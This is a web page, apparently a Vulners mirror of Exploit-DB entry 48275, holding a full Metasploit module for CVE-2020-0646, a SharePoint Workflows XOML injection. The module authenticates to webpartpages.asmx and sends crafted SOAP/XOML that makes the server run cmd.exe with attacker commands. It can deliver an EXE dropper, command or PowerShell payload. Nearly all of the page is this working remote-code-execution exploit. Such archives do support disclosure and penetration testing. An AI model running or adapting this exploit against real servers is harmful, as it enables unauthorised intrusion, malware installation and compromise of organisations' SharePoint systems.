Search...

SharePoint Workflows - XOML Injection (Metasploit)

2020-03-31T00:00:00
ID EDB-ID:48275
Type exploitdb
Reporter Exploit-DB
Modified 2020-03-31T00:00:00

Description

                                        
                                            # This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'SharePoint Workflows XOML Injection',
      'Description' => %q{
        This module exploits a vulnerability within SharePoint and its .NET backend
        that allows an attacker to execute commands using specially crafted XOML data
        sent to SharePoint via the Workflows functionality.
      },
      'Author' => [
        'Spencer McIntyre',
        'Soroush Dalili'
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2020-0646'],
        ['URL', 'https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/']
      ],
      'Platform' => 'win',
      'Targets' => [
        [ 'Windows EXE Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],
        [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ],
        [ 'Windows Powershell',
          'Arch'         => [ARCH_X86, ARCH_X64],
          'Type'         => :windows_powershell
        ]
      ],
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL'   => true
      },
      'DefaultTarget' => 0,
      'DisclosureDate' => '2020-03-02',
      'Notes' =>
      {
        'Stability'   => [CRASH_SAFE,],
        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
        'Reliability' => [REPEATABLE_SESSION],
      },
      'Privileged' => true
    ))

    register_options([
      OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]),
      OptString.new('DOMAIN',    [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]),
      OptString.new('USERNAME',  [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD',  [ true, 'The password to authenticate with' ])
    ])
  end

  def check
    res = execute_command("echo #{Rex::Text.rand_text_alphanumeric(4 + rand(8))}")
    return CheckCode::Unknown('Did not receive an HTTP 200 OK response') unless res&.code == 200

    compiler_errors = extract_compiler_errors(res)
    return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length > 0

    # once patched you get a specific compiler error message about the type name
    return CheckCode::Safe if compiler_errors[0].to_s =~ /is not a valid language-independent type name/

    CheckCode::Vulnerable
  end

  def extract_compiler_errors(res)
    return nil unless res&.code == 200

    xml_doc = res.get_xml_document
    result = xml_doc.search('//*[local-name()=\'ValidateWorkflowMarkupAndCreateSupportObjectsResult\']').text
    return nil if result.length == 0

    xml_result = Nokogiri::XML(result)
    xml_result.xpath('//CompilerError/@Text')
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    case target['Type']
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      cmd_target = targets.select {|target| target['Type'] == :windows_command}.first
      execute_cmdstager({linemax: cmd_target.opts['Space']})
    when :windows_powershell
      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
    end
  end

  def escape_command(cmd)
    # a bunch of characters have to be escaped, so use a whitelist of those that are allowed and escape the rest as unicode
    cmd.gsub(/([^a-zA-Z0-9 $:;\-\.=\[\]\{\}\(\)])/) { |x| "\\u%.4x" %x.unpack('C*')[0] }
  end

  def execute_command(cmd, opts = {})
    xoml_data = <<-EOS
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages">
      <workflowMarkupText>
        <![CDATA[
          <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
            <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c #{escape_command(cmd)}");private/**/void/**/foobar(){//' />
          </SequentialWorkflowActivity>
        ]]>
      </workflowMarkupText>
      <rulesText></rulesText>
      <configBlob></configBlob>
      <flag>2</flag>
    </ValidateWorkflowMarkupAndCreateSupportObjects>
  </soap:Body>
</soap:Envelope>
    EOS

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, '_vti_bin', 'webpartpages.asmx'),
      'ctype'    => 'text/xml; charset=utf-8',
      'data'     => xoml_data,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })

    unless res&.code == 200
      print_error('Non-200 HTTP response received while trying to execute the command')
    end

    res
  end
end
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by